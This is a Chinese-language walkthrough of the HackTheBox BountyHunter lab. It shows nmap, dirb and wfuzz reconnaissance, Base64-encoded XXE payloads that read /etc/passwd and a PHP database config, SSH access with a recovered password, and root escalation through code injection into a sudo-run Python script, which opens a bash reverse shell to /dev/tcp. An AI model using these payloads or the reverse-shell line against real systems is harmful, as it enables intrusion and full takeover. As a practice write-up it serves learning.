@
HackTheBox-BountyHunter靶场
准备工作
- 打开hackthebox并找到bountyhunter靶场,关注并获取到IP地址
- 在hackthebox中下载vpn
- Kali虚拟机,并运行指定的vpn
信息搜集
我拿到的IP地址为:10.10.11.100
-
使用nmap进行端口扫描,看看开放了哪些端口。
sudo nmap -Pn -sS -p- 10.10.11.100
-
可以看到开放了22端口和80端口。22端口可以用于ssh连接,但是目前没有账号和密码;80端口直接可以直接访问
-
挖洞!大概过一遍网页的功能后,发现有三个地方比较可疑
-
第一是页面往下翻,有一个按钮叫“Download our pricing guide”,从名字上来看是个下载文件的按钮,因此可能存在任意文件下载的漏洞,但是点了却没反应,跳过。
-
继续往下翻有一张表单,可能存在XSS注入。如果调用后台接口则可能存在更多的漏洞。但是输入数据或者点击按钮都没有反应,也没看到请求,因此跳过
-
最后一个则是点击顶部导航栏中的PORTAL选项,然后点击here会进入到一个页面,同样存在表单(同时可以发现这是个php的站,通常启动php项目会采用apache2服务,而apache2存放项目的路径默认为/var/www/html)
-
正常操作一遍
-
它将我们输入的内容展示在了下边,同时burp也拦截到了请求
-
那个data参数非常可疑,看起来像是加密的数据,猜测是Base64,因此尝试解密
-
发现是前端输入的参数,以xml的格式传入后台,因此非常有可能存在XXE漏洞,放入payload:
<!DOCTYPE a[<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
,并在下方对该内容进行输出<title>&xxe;</title>
。然后使用Base64加密后发包
-
读取到了passwd文件的内容,因此此处确实存在XXE漏洞。并且根据内容分析,有一个叫做development的账号后边的数字大于1000(通常大于1000的是手动创建的用户账号),因此也做一个记录
-
-
使用dirb扫描目录,看看有哪些文件。
sudo dirb http://10.10.11.100
(dirb命令默认使用的是/usr/share/dirb/worklists/common.txt字典)-
除去一些assets、css、js文件夹之外,还有一个叫做resources的文件夹,打开浏览器访问一下
-
里边有一个可疑的README.txt文件,打开看看
-
使用wfuzz扫描文件,看看有没有一些可以读的配置。
sudo wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 "http://10.10.11.100/FUZZ.php"
可以看到除了index、portal之外还有一个叫做db的文件。根据命名判断这是个和数据库配置有关的文件。
总结
-
漏洞利用
在上一步中,搜集了一些信息,比如疑似配置文件的
db.php
和一些漏洞。在这一步就要尝试使用已知的漏洞对系统发起攻击
-
使用XXE漏洞尝试读取db.php(读取时对该文件进行加密)
<!DOCTYPE a [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/db.php">]>
对结果进行Base64解密
结果疑似数据库的配置文件,并且包含一个密码:
m19RoAU0hP41A1sTsq6K
尝试用该密码连接shell
龟龟!真连上了,牛批
提权
-
尝试
sudo -l
命令来查看可以development可以使用sudo命令操作的内容: -
发现可以执行python和一个python文件,打开查看该python文件:
-
大概来讲这个文件是通过读取一个markdown文件,并配置一系列的规则,符合这些规则的话便可以执行一个字符串表达式(通过
exec
函数)。在这个表达式我们可以通过嵌入一个python代码来执行root命令,但是我们并不能通过命令行来获取到root账号的密码,需要想办法通过命令行来打开账号为root的命令窗口,而exec
函数并不能打开这样的命令窗口,它只是返回了表达式的值............
-
综上所述,这里需要做的是:
-
创建markdown文件
-
写入符合规则的内容来使代码走到
exec
函数的位置# Skytrain Inc ## Ticket to __Ticket Code:__ **1404 + 10 == 1414 and __import__('os').system("bash -c 'exec bash -i >& /dev/tcp/10.10.11.100/4444 0>&1'") == False
-
然后通过构建一段命令来打开拥有root权限的命令窗口(详见上述代码)。ip地址需要替换成自己在hackthebox上申请的靶场ip
-
使用反弹shell来打开一个新的、拥有root账号的shell窗口
打开新的shell窗口,并使用
nc
命令监听端口
-
-
准备完毕后,使用命令
sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
运行python程序,并输入markdown的文件名,然后在反弹shell的窗口中便可看到拥有root权限的命令行 -
至此,提权完成,write out!